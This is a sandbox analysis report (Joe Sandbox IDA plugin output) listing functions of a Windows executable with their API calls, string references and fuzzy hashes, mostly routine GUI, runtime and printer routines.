Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: Window$EnableFileFocusName$EnabledHookOpenSaveUnhookWindowslstrlen
String ID:
API String ID: 3606897497-0
Opcode ID: f8c134580934439a0a2f02093ee114b704da2401d83bc158e7782a62a4479ca6
Instruction ID: 35e3cb117a41c0d2a7a56a571f30132ad365639e7a63c51f7c13bb5b85ebc3ca
Opcode Fuzzy Hash: f8c134580934439a0a2f02093ee114b704da2401d83bc158e7782a62a4479ca6
Instruction Fuzzy Hash: C8214F71600701AFEB20AB72DC4AB5B7FE8AF45345F00483EF59295261DB79D8048759

Function 00422950 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 196windowCOMMON

Download Yara Rule

APIs

IsWindow.USER32(?), ref: 00422A2C
SendMessageA.USER32(?,00008003,00000000,00000000), ref: 00422A43
GetWindowRect.USER32(?,00000000), ref: 00422A95
GetClientRect.USER32(?,00000000), ref: 00422AED
GetWindowRect.USER32(?,00000000), ref: 00422B11

Strings

hcJ, xrefs: 00422B61
LdJ, xrefs: 00422989

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: RectWindow$ClientMessageSend
String ID: LdJ$hcJ
API String ID: 1071774122-783089612
Opcode ID: d716f44254a89e7c29360a4cc562b0a807a897774b0be76dfbe17c3e02d7a6fa
Instruction ID: 88166857a1dd38402157b9dae91b9ac59aadac41f0a2e169dce4525fd5d0a7b0
Opcode Fuzzy Hash: d716f44254a89e7c29360a4cc562b0a807a897774b0be76dfbe17c3e02d7a6fa
Instruction Fuzzy Hash: 7461C171604311AFC720DF25D980A6FBBE8EF88744F044A2EF94597391DA78ED05CB9A

Function 00427A00 Relevance: 12.4, APIs: 8, Instructions: 368windowCOMMON

Download Yara Rule

APIs

CreatePopupMenu.USER32 ref: 00427B7E
AppendMenuA.USER32(?,?,00000000,?), ref: 00427CE1
AppendMenuA.USER32(?,00000000,00000000,?), ref: 00427D19
ModifyMenuA.USER32(?,00000000,00000000,00000000,00000000), ref: 00427D37
AppendMenuA.USER32(?,?,00000000,?), ref: 00427D95
ModifyMenuA.USER32(?,?,?,?,?), ref: 00427DBA
AppendMenuA.USER32(?,?,?,?), ref: 00427E02
ModifyMenuA.USER32(?,?,?,?,?), ref: 00427E27

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: Menu$Append$Modify$CreatePopup
String ID:
API String ID: 3846898120-0
Opcode ID: 4cf8b447bcb36f6af056045497105e7585ca7f0cd2ca72960c5f408887d5a1a7
Instruction ID: 0275ba77298e931c7e4c82fbdafa4ed3c9240df0a36033b2e457d1909b10590e
Opcode Fuzzy Hash: 4cf8b447bcb36f6af056045497105e7585ca7f0cd2ca72960c5f408887d5a1a7
Instruction Fuzzy Hash: 7CD19BB16083218BC714DF19E880A6BBBE4EF89754F54492EF88597351E738ED01CB9A

Function 00485D58 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 100fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?), ref: 00485DC5
GetStdHandle.KERNEL32(000000F4,004ADA7C,00000000,00000000,00000000,?), ref: 00485E9B
WriteFile.KERNEL32(00000000), ref: 00485EA2

Strings

Microsoft Visual C++ Runtime Library, xrefs: 00485E71
..., xrefs: 00485E17
Runtime Error!Program: , xrefs: 00485E2B
<program name unknown>, xrefs: 00485DD5

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: File$HandleModuleNameWrite
String ID: ...$<program name unknown>$Microsoft Visual C++ Runtime Library$Runtime Error!Program:
API String ID: 3784150691-4022980321
Opcode ID: ba735e4816f90fc8e70fb6a21428ca5316bdaf79d57dde431515f1a75bf2459b
Instruction ID: d52ff03596082a11bf45327a2ed884ec624b29e678825e0704e7c8660c4c0a27
Opcode Fuzzy Hash: ba735e4816f90fc8e70fb6a21428ca5316bdaf79d57dde431515f1a75bf2459b
Instruction Fuzzy Hash: 7E31B872A002186EDF20FB61DC45FAE376DEB46304F54085BF445E6151EA78EA818B5D

Function 0042EAD0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 93networkCOMMON

Download Yara Rule

APIs

accept.WS2_32 ref: 0042EB14

Strings

%s:%d, xrefs: 0042EB8E
P, xrefs: 0042EB0C

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: accept
String ID: %s:%d$P
API String ID: 3005279540-612342447
Opcode ID: d9c9b492ef263e65d6337e1c8e0be4d1ff08aa5ae1b94ab86b29fe464a73ef74
Instruction ID: ca7a2168ae90124c81d07e4422a4b7a43b1f5c46890160282be277c0eb97c561
Opcode Fuzzy Hash: d9c9b492ef263e65d6337e1c8e0be4d1ff08aa5ae1b94ab86b29fe464a73ef74
Instruction Fuzzy Hash: 9E31A4312046019FD314EB29DC98DAB77E8FFD1324F444B2EF5A1C22D0EA74A80A8755

Function 00467BB0 Relevance: 12.3, APIs: 8, Instructions: 306COMMON

Download Yara Rule

APIs

__ftol.LIBCMT ref: 00467F08
__ftol.LIBCMT ref: 00467F25
__ftol.LIBCMT ref: 00467F41
__ftol.LIBCMT ref: 00467F5B
__ftol.LIBCMT ref: 00467F79
__ftol.LIBCMT ref: 00467F97
__ftol.LIBCMT ref: 00467FB3
__ftol.LIBCMT ref: 00467FCD

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: __ftol
String ID:
API String ID: 495808979-0
Opcode ID: 1b9fe6598576bdca49b4964e5ae246ce4ccc6d37a5037a714d8a3c5a82d26411
Instruction ID: 4cf80541536d07a20aa133bf6b2a3dedde60506f73989536a2f6dbb5a2756aa7
Opcode Fuzzy Hash: 1b9fe6598576bdca49b4964e5ae246ce4ccc6d37a5037a714d8a3c5a82d26411
Instruction Fuzzy Hash: A1D121B2908342DFD301AF21D18925ABFF0FFD5744FA60999E0D56626AE3318578CB86

Function 00424630 Relevance: 12.2, APIs: 8, Instructions: 181windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00498883: __EH_prolog.LIBCMT ref: 00498888
Part of subcall function 00498883: BeginPaint.USER32(?,?,?,?,0040D869), ref: 004988B1

Part of subcall function 00498434: GetClipBox.GDI32(?,?), ref: 0049843B

IsRectEmpty.USER32(?), ref: 0042467D
GetSysColor.USER32(0000000F), ref: 0042468E

Part of subcall function 00498A80: __EH_prolog.LIBCMT ref: 00498A85
Part of subcall function 00498A80: CreateSolidBrush.GDI32(?), ref: 00498AA2

Part of subcall function 00498017: SelectObject.GDI32(0040B5D5,00000000), ref: 00498039
Part of subcall function 00498017: SelectObject.GDI32(0040B5D5,?), ref: 0049804F

PatBlt.GDI32(?,?,?,?,?,00F00021), ref: 004246D8
GetClientRect.USER32(?,?), ref: 004246F1
LoadBitmapA.USER32(?,?), ref: 00424728
GetObjectA.GDI32(?,00000018,?), ref: 00424777
CreateCompatibleDC.GDI32(?), ref: 0042479D
BitBlt.GDI32(?,?,?,?,?,?,00000000,00000000,00CC0020), ref: 0042482F

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: Object$CreateH_prologRectSelect$BeginBitmapBrushClientClipColorCompatibleEmptyLoadPaintSolid
String ID:
API String ID: 1390316934-0
Opcode ID: 69cb6dd53a978c06eda6c95eb86f4c4a8d5d25e0a667af28fcc92ecb00aa5914
Instruction ID: 5ee14a65d94ca8f2d33b59408d6ce94d451dbc9cf36873ffc239747b87141bfd
Opcode Fuzzy Hash: 69cb6dd53a978c06eda6c95eb86f4c4a8d5d25e0a667af28fcc92ecb00aa5914
Instruction Fuzzy Hash: 42617E712183819FD714DF68C845F6BBBE8FBD5714F048A2DF09993290DB38A904CB66

Function 0044A680 Relevance: 12.2, APIs: 8, Instructions: 162COMMON

Download Yara Rule

APIs

GetDeviceCaps.GDI32(?,00000058), ref: 0044A698
GetDeviceCaps.GDI32(?,0000005A), ref: 0044A6A1
GetDeviceCaps.GDI32(?,0000006E), ref: 0044A6B2
GetDeviceCaps.GDI32(?,0000006F), ref: 0044A6CF
GetDeviceCaps.GDI32(?,00000070), ref: 0044A6E4
GetDeviceCaps.GDI32(?,00000071), ref: 0044A6F9
GetDeviceCaps.GDI32(?,00000008), ref: 0044A70E
GetDeviceCaps.GDI32(?,0000000A), ref: 0044A723

Part of subcall function 0044A460: __ftol.LIBCMT ref: 0044A465

Part of subcall function 0044A490: __ftol.LIBCMT ref: 0044A495

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: CapsDevice$__ftol
String ID:
API String ID: 1555043975-0
Opcode ID: 2dccc1cdd8d49e25d8914a8792da13413f8ca1f7782ceb5fc3728295444b3f1f
Instruction ID: a4242212c2579a970814d81ec2f566b95b66d9a2844689c033eb62e428fcda3b
Opcode Fuzzy Hash: 2dccc1cdd8d49e25d8914a8792da13413f8ca1f7782ceb5fc3728295444b3f1f
Instruction Fuzzy Hash: 82514A705487409BE300EF69C885A6FBBE4FFC9708F01495DF68856290DBB5D9248B97

Function 00485791 Relevance: 12.1, APIs: 8, Instructions: 132COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32(?,00000000,?,?,?,?,00480870), ref: 004857AC
GetEnvironmentStrings.KERNEL32(?,00000000,?,?,?,?,00480870), ref: 004857C0
GetEnvironmentStringsW.KERNEL32(?,00000000,?,?,?,?,00480870), ref: 004857EC
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000000,00000000,00000000,?,00000000,?,?,?,?,00480870), ref: 00485824
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,?,?,?,?,00480870), ref: 00485846
FreeEnvironmentStringsW.KERNEL32(00000000,?,00000000,?,?,?,?,00480870), ref: 0048585F
GetEnvironmentStrings.KERNEL32(?,00000000,?,?,?,?,00480870), ref: 00485872
FreeEnvironmentStringsA.KERNEL32(00000000), ref: 004858B0

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: EnvironmentStrings$ByteCharFreeMultiWide
String ID:
API String ID: 1823725401-0
Opcode ID: 249167efc4dcaba36828416a0ab81d09f7997749da90421df9041c39c44276d2
Instruction ID: b7bb90dfab957eb614a56cf7b969656646acdda653d92662113e05e3b45d9ec4
Opcode Fuzzy Hash: 249167efc4dcaba36828416a0ab81d09f7997749da90421df9041c39c44276d2
Instruction Fuzzy Hash: 4B31D4B25046256FEB207FB95C8483FBADDEA46358B150D3FF952C3310E6698C91836E

Function 0043C520 Relevance: 12.1, APIs: 8, Instructions: 77COMMON

Download Yara Rule

APIs

ReleaseCapture.USER32 ref: 0043C5F1

Part of subcall function 00496156: IsWindowEnabled.USER32(?), ref: 00496160

GetClientRect.USER32(?,?), ref: 0043C547
PtInRect.USER32(?,?,?), ref: 0043C55C
ClientToScreen.USER32(?,?), ref: 0043C56D
WindowFromPoint.USER32(?,?), ref: 0043C57D
ReleaseCapture.USER32 ref: 0043C597
GetCapture.USER32 ref: 0043C5B1
SetCapture.USER32(?), ref: 0043C5BC

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: Capture$ClientRectReleaseWindow$EnabledFromPointScreen
String ID:
API String ID: 3076215760-0
Opcode ID: f361a7e69465f0cce3d301e4dc580858b0d13c3daedca33f28df2a5cfc6966a9
Instruction ID: 70e9aa301c2186aa0dc86f704e7dbe0d64f4a855c05fc166f56139c507b19733
Opcode Fuzzy Hash: f361a7e69465f0cce3d301e4dc580858b0d13c3daedca33f28df2a5cfc6966a9
Instruction Fuzzy Hash: DE21F536200320ABC314EB2DC889E6F7BE4AFCC319F04492EF84192351E739E9458B69

Function 00496562 Relevance: 12.1, APIs: 8, Instructions: 65memorystringCOMMON

Download Yara Rule

APIs

GlobalLock.KERNEL32(?), ref: 00496582
lstrcmpA.KERNEL32(?,?), ref: 0049658E
OpenPrinterA.WINSPOOL.DRV(?,?,00000000), ref: 004965A0
DocumentPropertiesA.WINSPOOL.DRV(00000000,?,?,00000000,00000000,00000000,?,?,00000000), ref: 004965C3
GlobalAlloc.KERNEL32(00000042,00000000,00000000,?,?,00000000,00000000,00000000,?,?,00000000), ref: 004965CB
GlobalLock.KERNEL32(00000000), ref: 004965D8
DocumentPropertiesA.WINSPOOL.DRV(00000000,?,?,00000000,00000000,00000002), ref: 004965E5
ClosePrinter.WINSPOOL.DRV(?,00000000,?,?,00000000,00000000,00000002), ref: 00496603

Part of subcall function 004993E2: GlobalFlags.KERNEL32(?), ref: 004993EC
Part of subcall function 004993E2: GlobalUnlock.KERNEL32(?), ref: 00499403
Part of subcall function 004993E2: GlobalFree.KERNEL32(?), ref: 0049940E

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: Global$DocumentLockProperties$AllocCloseFlagsFreeOpenPrinterPrinter.Unlocklstrcmp
String ID:
API String ID: 168474834-0
Opcode ID: b25f6456d49b00fdda58b8ed950b846139ceea355d83ce2378c6ddfa9e3877b2
Instruction ID: 9734cbd7d9b329aa57ee9aabeb317fd307d1de4661f3003674ff9545ba2dae96
Opcode Fuzzy Hash: b25f6456d49b00fdda58b8ed950b846139ceea355d83ce2378c6ddfa9e3877b2
Instruction Fuzzy Hash: 01114C71500204BBEF219BB6CC8AEAFBEADEF86744F11443EFA08D1161D6399D519728

Function 004127C0 Relevance: 12.1, APIs: 8, Instructions: 55COMMON

Download Yara Rule

APIs

GetClientRect.USER32(?,?), ref: 004127DC
PtInRect.USER32(?,?,?), ref: 004127F1
ReleaseCapture.USER32 ref: 00412801
InvalidateRect.USER32(?,00000000,00000000), ref: 0041280F
GetCapture.USER32 ref: 0041281F
SetCapture.USER32(?), ref: 0041282A
InvalidateRect.USER32(?,00000000,00000000), ref: 0041284B
SetCapture.USER32(?), ref: 00412855

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
